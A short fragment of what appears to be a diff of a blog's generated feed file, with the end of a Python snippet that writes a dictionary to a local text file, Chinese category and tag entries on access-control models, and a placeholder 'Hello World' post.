fr = open('./etc/ac.txt', 'w')
fr.write(str(dict))
fr.close()
fa.close()

]]>
+ + - 理论学习 + + 理论学习 + - - 模型实现 - python - 访问控制 - -
- - <![CDATA[Hello World]]> - %2F2000%2F01%2F01%2Fhello-world%2F - - + + + + + 模型实现 + + python + + 访问控制 + + + +
+ + + + + Hello World + + /2000/01/01/hello-world/ + + 你好!我是混元霹雳手

]]>
+ + + +
+ + + +